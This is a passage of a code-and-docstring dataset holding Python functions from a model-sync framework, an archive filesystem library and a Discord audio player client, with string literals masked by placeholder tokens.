field in app_model._meta.fields if isinstance(field, ForeignKey)]<EOL>for fk_id in fk_ids:<EOL><INDENT>try:<EOL><INDENT>st_model = Store.objects.get(id=fk_id)<EOL>if st_model.deleted:<EOL><INDENT>if st_model.hard_deleted:<EOL><INDENT>app_model._update_hard_deleted_models()<EOL><DEDENT>app_model._update_deleted_models()<EOL>return None<EOL><DEDENT><DEDENT>except Store.DoesNotExist:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>raise e<EOL><DEDENT><DEDENT>", "docstring": "When deserializing a store model, we look at the deleted flags to know if we should delete the app model.\nUpon loading the app model in memory we validate the app models fields, if any errors occurs we follow\nforeign key relationships to see if the related model has been deleted to propagate that deletion to the target app model.\nWe return:\nNone => if the model was deleted successfully\nmodel => if the model validates successfully", "id": "f6317:c10:m0"}
{"signature": "def serialize(self):", "body": "<EOL>opts = self._meta<EOL>data = {}<EOL>for f in opts.concrete_fields:<EOL><INDENT>if f.attname in self.morango_fields_not_to_serialize:<EOL><INDENT>continue<EOL><DEDENT>if f.attname in self._morango_internal_fields_not_to_serialize:<EOL><INDENT>continue<EOL><DEDENT>if f.attname in getattr(self, '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>if hasattr(f, '<STR_LIT>'):<EOL><INDENT>data[f.attname] = f.value_from_object_json_compatible(self)<EOL><DEDENT>else:<EOL><INDENT>data[f.attname] = f.value_from_object(self)<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "All concrete fields of the ``SyncableModel`` subclass, except for those specifically blacklisted, are returned in a dict.", "id": "f6317:c16:m5"}
{"signature": "@classmethod<EOL><INDENT>def deserialize(cls, dict_model):<DEDENT>", "body": "kwargs = {}<EOL>for f in cls._meta.concrete_fields:<EOL><INDENT>if f.attname in dict_model:<EOL><INDENT>kwargs[f.attname] = dict_model[f.attname]<EOL><DEDENT><DEDENT>return cls(**kwargs)<EOL>", "docstring": "Returns an unsaved class object based on the valid properties passed in.", "id": "f6317:c16:m6"}
{"signature": "def calculate_source_id(self):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Should return a string that uniquely defines the model instance or `None` for a random uuid.", "id": "f6317:c16:m8"}
{"signature": "def calculate_partition(self):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Should return a string specifying this model instance's partition, using `self.ID_PLACEHOLDER` in place of its own ID, if needed.", "id": "f6317:c16:m9"}
{"signature": "def _request(self, endpoint, method=\"<STR_LIT:GET>\", lookup=None, data={}, params={}, userargs=None, password=None):", "body": "<EOL>if isinstance(userargs, dict):<EOL><INDENT>userargs = \"<STR_LIT:&>\".join([\"<STR_LIT>\".format(key, val) for (key, val) in iteritems(userargs)])<EOL><DEDENT>if lookup:<EOL><INDENT>lookup = lookup + '<STR_LIT:/>'<EOL><DEDENT>url = urljoin(urljoin(self.base_url, endpoint), lookup)<EOL>auth = (userargs, password) if userargs else None<EOL>resp = requests.request(method, url, json=data, params=params, auth=auth)<EOL>resp.raise_for_status()<EOL>return resp<EOL>", "docstring": "Generic request method designed to handle any morango endpoint.\n\n:param endpoint: constant representing which morango endpoint we are querying\n:param method: HTTP verb/method for request\n:param lookup: the pk value for the specific object we are querying\n:param data: dict that will be form-encoded in request\n:param params: dict to be sent as part of URL's query string\n:param userargs: Authorization credentials\n:param password:\n:return: ``Response`` object from request", "id": "f6318:c1:m1"}
{"signature": "def _dequeue_into_store(self):", "body": "_dequeue_into_store(self.current_transfer_session)<EOL>", "docstring": "Takes data from the buffers and merges into the store and record max counters.", "id": "f6318:c2:m9"}
{"signature": "def __init__(self, output, overwrite=False, initial_position=<NUM_LIT:0>, **options):", "body": "self.output = output<EOL>self.overwrite = overwrite<EOL>self.initial_position = initial_position<EOL>self.stream = isinstance(output, io.IOBase)<EOL>", "docstring": "Create a new serializer.\n\n        Parameters:\n            output (`io.IOBase` or `str`): the filename of the destination\n                or a file handle in which to write the archive.\n            overwrite (`boolean`): If True, use a temporary file to save\n                the contents of the archive. Useful when updating an archive\n                file. **[default: False]**\n            initial_position (`int`): The initial position of the stream when\n                it was seen for the first time. **[default: 0]**", "id": "f6330:c0:m0"}
{"signature": "def save(self, fs):", "body": "if self.stream:<EOL><INDENT>self.to_stream(fs)<EOL><DEDENT>else:<EOL><INDENT>self.to_file(fs)<EOL><DEDENT>", "docstring": "Save the given FS.\n\n        Parameters:\n            fs (`fs.base.FS`): the filesystem to save in the archive.", "id": "f6330:c0:m1"}
{"signature": "def to_file(self, fs):", "body": "if self.overwrite: <EOL><INDENT>tmp = '<STR_LIT:.>'.join([self.output, '<STR_LIT>'])<EOL>self._to(tmp, fs)<EOL>shutil.move(tmp, self.output)<EOL><DEDENT>else:<EOL><INDENT>self._to(self.output, fs)<EOL><DEDENT>", "docstring": "Save the given FS, considering ``self.output`` as a filename.\n\n        Parameters:\n            fs (`fs.base.FS`): the filesystem to save in the archive.", "id": "f6330:c0:m2"}
{"signature": "def to_stream(self, fs):", "body": "if self.overwrite: <EOL><INDENT>fd, temp = tempfile.mkstemp()<EOL>os.close(fd)<EOL>self._to(temp, fs)<EOL>self.output.seek(self.initial_position)<EOL>with open(temp, '<STR_LIT:rb>') as f:<EOL><INDENT>shutil.copyfileobj(f, self.output)<EOL><DEDENT>os.remove(temp)<EOL><DEDENT>else:<EOL><INDENT>self._to(self.output, fs)<EOL><DEDENT>", "docstring": "Save the given FS, considering ``self.output`` as a stream.\n\n        Parameters:\n            fs (`fs.base.FS`): the filesystem to save in the archive.", "id": "f6330:c0:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def _to(self, handle, fs):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Save the given FS to the given stream handle.\n\n        Parameters:\n            handle (`io.IOBase`): a writable stream in which to write\n                the filesystem in an archive.\n            fs (`fs.base.FS`): the filesystem to save.", "id": "f6330:c0:m4"}
{"signature": "def __init__(self, handle, **options):", "body": "super(ArchiveReadFS, self).__init__()<EOL>if isinstance(handle, six.binary_type):<EOL><INDENT>handle = fsdecode(fspath(handle))<EOL><DEDENT>if isinstance(handle, six.text_type):<EOL><INDENT>_path = os.path.expanduser(os.path.expandvars(handle))<EOL>_path = os.path.normpath(os.path.abspath(_path))<EOL>if os.path.exists(_path) and os.access(_path, os.R_OK):<EOL><INDENT>self._close_handle = True<EOL>self._handle = open(_path, '<STR_LIT:rb>')<EOL><DEDENT><DEDENT>elif hasattr(handle, '<STR_LIT>'):<EOL><INDENT>if handle.readable() and handle.seekable():<EOL><INDENT>self._close_handle = options.get('<STR_LIT>', True)<EOL>self._handle = handle<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise errors.CreateFailed(\"<STR_LIT>\".format(handle))<EOL><DEDENT>", "docstring": "Create a new archive reader filesystem.\n\n        Parameters:\n            handle (`io.IOBase` or `str`): a filename or a readable\n                file-like object storing the archive to read\n\n        Keyword Arguments:\n            close_handle (`boolean`): if ``True``, close the handle\n                when the filesystem is closed. **[default: True]**", "id": "f6330:c1:m0"}
{"signature": "def _on_modification_attempt(self, path):", "body": "raise errors.ResourceReadOnly(path)<EOL>", "docstring": "Call when a modification is attempted on the archive.", "id": "f6330:c1:m3"}
{"signature": "def __init__(self, handle, proxy=None, **options):", "body": "initial_position = <NUM_LIT:0><EOL>read_fs = None<EOL>self._saver = None<EOL>if isinstance(handle, six.binary_type):<EOL><INDENT>handle = fsdecode(fspath(handle))<EOL><DEDENT>if isinstance(handle, six.text_type):<EOL><INDENT>_path = os.path.expanduser(os.path.expandvars(handle))<EOL>_path = os.path.normpath(os.path.abspath(_path))<EOL>if os.path.exists(_path) and os.access(_path, os.R_OK):<EOL><INDENT>options.setdefault('<STR_LIT>', True)<EOL>read_fs = self._read_fs_cls(handle, **options)<EOL><DEDENT>create_saver = writable_path(_path)<EOL><DEDENT>elif hasattr(handle, '<STR_LIT>'):<EOL><INDENT>initial_position = getattr(handle, '<STR_LIT>', lambda: <NUM_LIT:0>)()<EOL>if handle.readable() and handle.seekable():<EOL><INDENT>read_fs = self._read_fs_cls(handle, **options)<EOL><DEDENT>create_saver = writable_stream(handle)<EOL><DEDENT>else:<EOL><INDENT>raise errors.CreateFailed(\"<STR_LIT>\".format(handle))<EOL><DEDENT>overwrite = read_fs is not None<EOL>if create_saver:<EOL><INDENT>self._saver = self._saver_cls(handle, overwrite, initial_position)<EOL><DEDENT>proxy = proxy or \"<STR_LIT>\"<EOL>wrapped_fs = WrapWritable(read_fs, writable_fs=proxy)if read_fs is not None else open_fs(proxy)<EOL>super(ArchiveFS, self).__init__(wrapped_fs)<EOL>", "docstring": "Create a new archive filesystem.\n\n        Parameters:\n            handle (io.IOBase or str): a filename or a stream storing an\n                archive and/or in which to write the updated archive.\n            proxy (FS): the filesystem to use as to perform temporary\n                write operations. Leave to `None` to use the default\n                defined in `~fs.archive.wrap.WrapWritable`.\n                **[default: `~fs.memoryfs.MemoryFS`]**\n\n        Keyword Arguments:\n            close_handle (boolean): if `True`, close the handle\n                when the filesystem is closed. **[default: True]**", "id": "f6330:c2:m0"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def _archive_read_fs(self):  <DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "The `ArchiveReadFS` class to test.", "id": "f6331:c0:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def compress(self, handle, fs):<DEDENT>", "body": "pass<EOL>", "docstring": "Compress ``fs`` and write the resulting archive to ``handle``.", "id": "f6331:c0:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def remove_archive(self, handle):<DEDENT>", "body": "pass<EOL>", "docstring": "Remove the archive in ``handle``.", "id": "f6331:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def make_source_fs():<DEDENT>", "body": "return open_fs('<STR_LIT>')<EOL>", "docstring": "Create the source filesystem.", "id": "f6331:c0:m3"}
{"signature": "def build_source(self, fs):", "body": "fs.makedirs('<STR_LIT>')<EOL>fs.makedir('<STR_LIT>')<EOL>fs.settext('<STR_LIT>', '<STR_LIT>')<EOL>fs.settext('<STR_LIT>', '<STR_LIT>')<EOL>fs.settext('<STR_LIT>', '<STR_LIT>')<EOL>fs.makedir('<STR_LIT>')<EOL>fs.makedir('<STR_LIT>')<EOL>fs.settext('<STR_LIT>', UNICODE_TEXT)<EOL>if self.unicode_names:<EOL><INDENT>fs.settext('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>if self.long_names:<EOL><INDENT>fs.settext('<STR_LIT>'+'<STR_LIT:a>'*<NUM_LIT>, '<STR_LIT>')<EOL><DEDENT>", "docstring": "Create the test structure in the source filesystem.", "id": "f6331:c0:m4"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def _archive_fs(self):  <DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "The `ArchiveFS` class to test.", "id": "f6331:c1:m2"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def compress(self, handle, fs):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Compress ``fs`` and write the resulting archive to ``handle``.", "id": "f6331:c1:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def iter_files(self, handle):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Return an iterator over the files in the archive in ``handle``.", "id": "f6331:c1:m4"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def iter_dirs(self, handle):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Return an iterator over the directories in the archive in ``handle``.", "id": "f6331:c1:m5"}
{"signature": "def build_source(self, fs):", "body": "fs.settext('<STR_LIT>', '<STR_LIT>')<EOL>fs.makedir('<STR_LIT>')<EOL>fs.settext('<STR_LIT>', '<STR_LIT>')<EOL>fs.makedir('<STR_LIT>')<EOL>", "docstring": "Create the test structure in the source filesystem.", "id": "f6331:c1:m7"}
{"signature": "def make_source_fs(self):", "body": "return open_fs('<STR_LIT>')<EOL>", "docstring": "Create the source filesystem.", "id": "f6331:c1:m9"}
{"signature": "def open_archive(fs_url, archive):", "body": "it = pkg_resources.iter_entry_points('<STR_LIT>')<EOL>entry_point = next((ep for ep in it if archive.endswith(ep.name)), None)<EOL>if entry_point is None:<EOL><INDENT>raise UnsupportedProtocol(<EOL>'<STR_LIT>'.format(archive))<EOL><DEDENT>try:<EOL><INDENT>archive_opener = entry_point.load()<EOL><DEDENT>except pkg_resources.DistributionNotFound as df: <EOL><INDENT>six.raise_from(UnsupportedProtocol(<EOL>'<STR_LIT>'.format(entry_point.name, df.req)), None)<EOL><DEDENT>try:<EOL><INDENT>binfile = None<EOL>archive_fs = None<EOL>fs = open_fs(fs_url)<EOL>if issubclass(archive_opener, base.ArchiveFS):<EOL><INDENT>try:<EOL><INDENT>binfile = fs.openbin(archive, '<STR_LIT>')<EOL><DEDENT>except errors.ResourceNotFound:<EOL><INDENT>binfile = fs.openbin(archive, '<STR_LIT:w>')<EOL><DEDENT>except errors.ResourceReadOnly:<EOL><INDENT>binfile = fs.openbin(archive, '<STR_LIT:r>')<EOL>archive_opener = archive_opener._read_fs_cls<EOL><DEDENT><DEDENT>elif issubclass(archive_opener, base.ArchiveReadFS):<EOL><INDENT>binfile = fs.openbin(archive, '<STR_LIT:r>')<EOL><DEDENT>if not hasattr(binfile, '<STR_LIT:name>'):<EOL><INDENT>binfile.name = basename(archive)<EOL><DEDENT>archive_fs = archive_opener(binfile)<EOL><DEDENT>except Exception:<EOL><INDENT>getattr(archive_fs, '<STR_LIT>', lambda: None)()<EOL>getattr(binfile, '<STR_LIT>', lambda: None)()<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>return archive_fs<EOL><DEDENT>", "docstring": "Open an archive on a filesystem.\n\n    This function tries to mimick the behaviour of `fs.open_fs` as closely\n    as possible: it accepts either a FS URL or a filesystem instance, and\n    will close all resources it had to open.\n\n    Arguments:\n        fs_url (FS or text_type): a FS URL, or a filesystem\n            instance, where the archive file is located.\n        archive (text_type): the path to the archive file on the\n            given filesystem.\n\n    Raises:\n        `fs.opener._errors.Unsupported`: when the archive type is not supported\n            (either the file extension is unknown or the opener requires unmet\n            dependencies).\n\n    Example:\n        >>> from fs.archive import open_archive\n        >>> with open_archive('mem://', 'test.tar.gz') as archive_fs:\n        ...     type(archive_fs)\n        <class 'fs.archive.tarfs.TarFS'>\n\n    Hint:\n        This function finds the entry points defined in group\n        ``fs.archive.open_archive``, using the names of the entry point\n        as the registered extension.", "id": "f6333:m0"}
{"signature": "def iso_name_slugify(name):", "body": "name = name.encode('<STR_LIT:ascii>', '<STR_LIT:replace>').replace(b'<STR_LIT:?>', b'<STR_LIT:_>')<EOL>return name.decode('<STR_LIT:ascii>')<EOL>", "docstring": "Slugify a name in the ISO-9660 way.\n\n    Example:\n        >>> slugify('\u00e9patant')\n        \"_patant\"", "id": "f6339:m0"}
{"signature": "def iso_name_increment(name, is_dir=False, max_length=<NUM_LIT:8>):", "body": "<EOL>if not is_dir and '<STR_LIT:.>' in name:<EOL><INDENT>name, ext = name.rsplit('<STR_LIT:.>')<EOL>ext = '<STR_LIT>'.format(ext)<EOL><DEDENT>else:<EOL><INDENT>ext = '<STR_LIT>'<EOL><DEDENT>for position, char in reversed(list(enumerate(name))):<EOL><INDENT>if char not in string.digits:<EOL><INDENT>break<EOL><DEDENT><DEDENT>base, tag = name[:position+<NUM_LIT:1>], name[position+<NUM_LIT:1>:]<EOL>tag = str(int(tag or <NUM_LIT:0>) + <NUM_LIT:1>)<EOL>if len(tag) + len(base) > max_length:<EOL><INDENT>base = base[:max_length - len(tag)]<EOL><DEDENT>return '<STR_LIT>'.join([base, tag, ext])<EOL>", "docstring": "Increment an ISO name to avoid name collision.\n\n    Example:\n        >>> iso_name_increment('foo.txt')\n        'foo1.txt'\n        >>> iso_name_increment('bar10')\n        'bar11'\n        >>> iso_name_increment('bar99', max_length=5)\n        'ba100'", "id": "f6339:m1"}
{"signature": "def iso_path_slugify(path, path_table, is_dir=False, strict=True):", "body": "<EOL>parent, base = split(path)<EOL>slug_parent = path_table[parent]<EOL>if is_dir:<EOL><INDENT>slug_base = iso_name_slugify(base)[:<NUM_LIT:8>]<EOL><DEDENT>else:<EOL><INDENT>name, ext = base.rsplit('<STR_LIT:.>', <NUM_LIT:1>) if '<STR_LIT:.>' in base else (base, '<STR_LIT>')<EOL>slug_base = '<STR_LIT:.>'.join([iso_name_slugify(name)[:<NUM_LIT:8>], ext])<EOL><DEDENT>if strict:<EOL><INDENT>slug_base = slug_base.upper()<EOL><DEDENT>slugs = set(path_table.values())<EOL>path_table[path] = slug = join(slug_parent, slug_base)<EOL>while slug in slugs:<EOL><INDENT>slug_base = iso_name_increment(slug_base, is_dir)<EOL>path_table[path] = slug = join(slug_parent, slug_base)<EOL><DEDENT>return slug<EOL>", "docstring": "Slugify a path, maintaining a map with the previously slugified paths.\n\n    The path table is used to prevent slugified names from collisioning,\n    using the `iso_name_increment` function to deduplicate slugs.\n\n    Example:\n        >>> path_table = {'/': '/'}\n        >>> iso_path_slugify('/\u00e9bc.txt', path_table)\n        '/_BC.TXT'\n        >>> iso_path_slugify('/\u00e0bc.txt', path_table)\n        '/_BC2.TXT'", "id": "f6339:m2"}
{"signature": "def unique(iterable, key=None):", "body": "seen = set()<EOL>seen_add = seen.add<EOL>if key is None:<EOL><INDENT>for element in filterfalse(seen.__contains__, iterable):<EOL><INDENT>seen_add(element)<EOL>yield element<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for element in iterable:<EOL><INDENT>k = key(element)<EOL>if k not in seen:<EOL><INDENT>seen_add(k)<EOL>yield element<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Yield unique elements, preserving order.", "id": "f6340:m0"}
{"signature": "def import_from_names(*names):", "body": "for name in names:<EOL><INDENT>try:<EOL><INDENT>return importlib.import_module(name)<EOL><DEDENT>except ImportError:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Try to import the same function from various names.\n\n    Example:\n        >>> etree = import_from_names(\n        ...     'lxml.etree',\n        ...     'xml.etree.cElementTree',\n        ...     'xml.etree.ElementTree'\n        ... )", "id": "f6340:m1"}
{"signature": "def writable_path(path):", "body": "if os.path.exists(path):<EOL><INDENT>return os.access(path, os.W_OK)<EOL><DEDENT>try:<EOL><INDENT>with open(path, '<STR_LIT:w>'):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>except (OSError, IOError):<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>os.remove(path)<EOL>return True<EOL><DEDENT>", "docstring": "Test whether a path can be written to.", "id": "f6340:m2"}
{"signature": "def writable_stream(handle):", "body": "if isinstance(handle, io.IOBase) and sys.version_info >= (<NUM_LIT:3>, <NUM_LIT:5>):<EOL><INDENT>return handle.writable()<EOL><DEDENT>try:<EOL><INDENT>handle.write(b'<STR_LIT>')<EOL><DEDENT>except (io.UnsupportedOperation, IOError):<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Test whether a stream can be written to.", "id": "f6340:m3"}
{"signature": "@property<EOL><INDENT>def is_playing(self):<DEDENT>", "body": "return self.connected_channel is not None and self.current is not None<EOL>", "docstring": "Returns the player's track state.", "id": "f6342:c2:m1"}
{"signature": "@property<EOL><INDENT>def is_connected(self):<DEDENT>", "body": "return self.connected_channel is not None<EOL>", "docstring": "Returns the player's connection state.", "id": "f6342:c2:m2"}
{"signature": "@property<EOL><INDENT>def connected_channel(self):<DEDENT>", "body": "if not self.channel_id:<EOL><INDENT>return None<EOL><DEDENT>return self._lavalink.bot.get_channel(int(self.channel_id))<EOL>", "docstring": "Returns the voice channel the player is connected to.", "id": "f6342:c2:m3"}
{"signature": "async def connect(self, channel_id: int):", "body": "ws = self._lavalink.bot._connection._get_websocket(int(self.guild_id))<EOL>await ws.voice_state(self.guild_id, str(channel_id))<EOL>", "docstring": "Connects to a voice channel.", "id": "f6342:c2:m4"}
{"signature": "async def disconnect(self):", "body": "if not self.is_connected:<EOL><INDENT>return<EOL><DEDENT>await self.stop()<EOL>ws = self._lavalink.bot._connection._get_websocket(int(self.guild_id))<EOL>await ws.voice_state(self.guild_id, None)<EOL>", "docstring": "Disconnects from the voice channel, if any.", "id": "f6342:c2:m5"}
{"signature": "def store(self, key: object, value: object):", "body": "self._user_data.update({key: value})<EOL>", "docstring": "Stores custom user data.", "id": "f6342:c2:m6"}
{"signature": "def fetch(self, key: object, default=None):", "body": "return self._user_data.get(key, default)<EOL>", "docstring": "Retrieves the related value from the stored user data.", "id": "f6342:c2:m7"}
{"signature": "def delete(self, key: object):", "body": "try:<EOL><INDENT>del self._user_data[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Removes an item from the the stored user data.", "id": "f6342:c2:m8"}
{"signature": "def add(self, requester: int, track: dict):", "body": "self.queue.append(AudioTrack().build(track, requester))<EOL>", "docstring": "Adds a track to the queue.", "id": "f6342:c2:m9"}
{"signature": "def add_next(self, requester: int, track: dict):", "body": "self.queue.insert(<NUM_LIT:0>, AudioTrack().build(track, requester))<EOL>", "docstring": "Adds a track to beginning of the queue", "id": "f6342:c2:m10"}
{"signature": "def add_at(self, index: int, requester: int, track: dict):", "body": "self.queue.insert(min(index, len(self.queue) - <NUM_LIT:1>), AudioTrack().build(track, requester))<EOL>", "docstring": "Adds a track at a specific index in the queue.", "id": "f6342:c2:m11"}
{"signature": "async def play(self, track_index: int = <NUM_LIT:0>, ignore_shuffle: bool = False):", "body": "if self.repeat and self.current:<EOL><INDENT>self.queue.append(self.current)<EOL><DEDENT>self.previous = self.current<EOL>self.current = None<EOL>self.position = <NUM_LIT:0><EOL>self.paused = False<EOL>if not self.queue:<EOL><INDENT>await self.stop()<EOL>await self._lavalink.dispatch_event(QueueEndEvent(self))<EOL><DEDENT>else:<EOL><INDENT>if self.shuffle and not ignore_shuffle:<EOL><INDENT>track = self.queue.pop(randrange(len(self.queue)))<EOL><DEDENT>else:<EOL><INDENT>track = self.queue.pop(min(track_index, len(self.queue) - <NUM_LIT:1>))<EOL><DEDENT>self.current = track<EOL>await self._lavalink.ws.send(op='<STR_LIT>', guildId=self.guild_id, track=track.track)<EOL>await self._lavalink.dispatch_event(TrackStartEvent(self, track))<EOL><DEDENT>", "docstring": "Plays the first track in the queue, if any or plays a track from the specified index in the queue.", "id": "f6342:c2:m12"}
{"signature": "async def play_now(self, requester: int, track: dict):", "body": "self.add_next(requester, track)<EOL>await self.play(ignore_shuffle=True)<EOL>", "docstring": "Add track and play it.", "id": "f6342:c2:m13"}
{"signature": "async def play_at(self, index: int):", "body": "self.queue = self.queue[min(index, len(self.queue) - <NUM_LIT:1>):len(self.queue)]<EOL>await self.play(ignore_shuffle=True)<EOL>", "docstring": "Play the queue from a specific point. Disregards tracks before the index.", "id": "f6342:c2:m14"}
{"signature": "async def play_previous(self):", "body": "if not self.previous:<EOL><INDENT>raise NoPreviousTrack<EOL><DEDENT>self.queue.insert(<NUM_LIT:0>, self.previous)<EOL>await self.play(ignore_shuffle=True)<EOL>", "docstring": "Plays previous track if it exist, if it doesn't raises a NoPreviousTrack error.", "id": "f6342:c2:m15"}
{"signature": "async def stop(self):", "body": "await self._lavalink.ws.send(op='<STR_LIT>', guildId=self.guild_id)<EOL>self.current = None<EOL>", "docstring": "Stops the player, if playing.", "id": "f6342:c2:m16"}
{"signature": "async def skip(self):", "body": "await self.play()<EOL>", "docstring": "Plays the next track in the queue, if any.", "id": "f6342:c2:m17"}
{"signature": "async def set_pause(self, pause: bool):", "body": "await self._lavalink.ws.send(op='<STR_LIT>', guildId=self.guild_id, pause=pause)<EOL>self.paused = pause<EOL>", "docstring": "Sets the player's paused state.", "id": "f6342:c2:m18"}
{"signature": "async def set_volume(self, vol: int):", "body": "if self._lavalink._server_version <= <NUM_LIT:2>:<EOL><INDENT>self.volume = max(min(vol, <NUM_LIT>), <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>self.volume = max(min(vol, <NUM_LIT:1000>), <NUM_LIT:0>)<EOL><DEDENT>await self._lavalink.ws.send(op='<STR_LIT>', guildId=self.guild_id, volume=self.volume)<EOL>", "docstring": "Sets the player's volume (150% or 1000% limit imposed by lavalink depending on the version).", "id": "f6342:c2:m19"}
{"signature": "async def seek(self, pos: int):", "body": "await self._lavalink.ws.send(op='<STR_LIT>', guildId=self.guild_id, position=pos)<EOL>", "docstring": "Seeks to a given position in the track.", "id": "f6342:c2:m20"}
{"signature": "async def handle_event(self, event):", "body": "if isinstance(event, (TrackStuckEvent, TrackExceptionEvent)) orisinstance(event, TrackEndEvent) and event.reason == '<STR_LIT>':<EOL><INDENT>await self.play()<EOL><DEDENT>", "docstring": "Makes the player play the next song from the queue if a song has finished or an issue occurred.", "id": "f6342:c2:m21"}
{"signature": "def __init__(self, lavalink, player):", "body": "if not issubclass(player, BasePlayer):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.lavalink = lavalink<EOL>self._player = player<EOL>self._players = {}<EOL>", "docstring": "Instantiates a Player Manager.\n\n:param lavalink:\n    Must be a lavalink.Client object.\n:param player:\n    Must implement lavalink.BasePlayer.", "id": "f6342:c3:m0"}
{"signature": "def __iter__(self):", "body": "for guild_id, player in self._players.items():<EOL><INDENT>yield guild_id, player<EOL><DEDENT>", "docstring": "Returns a tuple of (guild_id, player).", "id": "f6342:c3:m3"}
{"signature": "def __contains__(self, item):", "body": "return item in self._players<EOL>", "docstring": "Returns the presence of a player in the cache.", "id": "f6342:c3:m4"}
{"signature": "def find(self, predicate):", "body": "found = self.find_all(predicate)<EOL>return found[<NUM_LIT:0>] if found else None<EOL>", "docstring": "Returns the first player in the list based on the given filter predicate. Could be None.", "id": "f6342:c3:m5"}
{"signature": "def find_all(self, predicate):", "body": "return list(filter(predicate, self._players.values()))<EOL>", "docstring": "Returns a list of players based on the given filter predicate.", "id": "f6342:c3:m6"}
{"signature": "def get(self, guild_id):", "body": "if guild_id not in self._players:<EOL><INDENT>p = self._player(lavalink=self.lavalink, guild_id=guild_id)<EOL>self._players[guild_id] = p<EOL><DEDENT>return self._players[guild_id]<EOL>", "docstring": "Returns a player from the cache, or creates one if it does not exist.", "id": "f6342:c3:m7"}
{"signature": "def remove(self, guild_id):", "body": "if guild_id in self._players:<EOL><INDENT>self._players[guild_id].cleanup()<EOL>del self._players[guild_id]<EOL><DEDENT>", "docstring": "Removes a player from the current players.", "id": "f6342:c3:m8"}
{"signature": "def clear(self):", "body": "self._players.clear()<EOL>", "docstring": "Removes all of the players from the cache.", "id": "f6342:c3:m9"}
{"signature": "@property<EOL><INDENT>def connected(self):<DEDENT>", "body": "return self._ws is not None and self._ws.open<EOL>", "docstring": "Returns whether there is a valid WebSocket connection to the Lavalink server or not.", "id": "f6343:c0:m1"}
{"signature": "async def connect(self):", "body": "await self._lavalink.bot.wait_until_ready()<EOL>if self._ws and self._ws.open:<EOL><INDENT>log.debug('<STR_LIT>')<EOL>await self._ws.close()<EOL><DEDENT>user_id = self._lavalink.bot.user.id<EOL>shard_count = self._lavalink.bot.shard_count or self._shards<EOL>headers = {<EOL>'<STR_LIT>': self._password,<EOL>'<STR_LIT>': shard_count,<EOL>'<STR_LIT>': str(user_id)<EOL>}<EOL>log.debug('<STR_LIT>')<EOL>log.debug('<STR_LIT>'.format(self._uri))<EOL>log.debug('<STR_LIT>'.format(str(headers)))<EOL>log.info('<STR_LIT>')<EOL>try:<EOL><INDENT>self._ws = await websockets.connect(self._uri, loop=self._loop, extra_headers=headers)<EOL><DEDENT>except OSError as error:<EOL><INDENT>log.exception('<STR_LIT>'.format(str(error)))<EOL><DEDENT>else:<EOL><INDENT>log.info('<STR_LIT>')<EOL>self._loop.create_task(self.listen())<EOL>version = self._ws.response_headers.get('<STR_LIT>', <NUM_LIT:2>)<EOL>try:<EOL><INDENT>self._lavalink._server_version = int(version)<EOL><DEDENT>except ValueError:<EOL><INDENT>self._lavalink._server_version = <NUM_LIT:2><EOL><DEDENT>log.info('<STR_LIT>'.format(version))<EOL>if self._queue:<EOL><INDENT>log.info('<STR_LIT>'.format(len(self._queue)))<EOL>for task in self._queue:<EOL><INDENT>await self.send(**task)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Establishes a connection to the Lavalink server.", "id": "f6343:c0:m2"}
{"signature": "async def _attempt_reconnect(self):", "body": "log.info('<STR_LIT>')<EOL>for a in range(<NUM_LIT:0>, self._ws_retry):<EOL><INDENT>await asyncio.sleep(<NUM_LIT:30>)<EOL>log.info('<STR_LIT>'.format(a + <NUM_LIT:1>))<EOL>await self.connect()<EOL>if self._ws.open:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Attempts to reconnect to the Lavalink server.\nReturns\n-------\nbool\n    ``True`` if the reconnection attempt was successful.", "id": "f6343:c0:m3"}
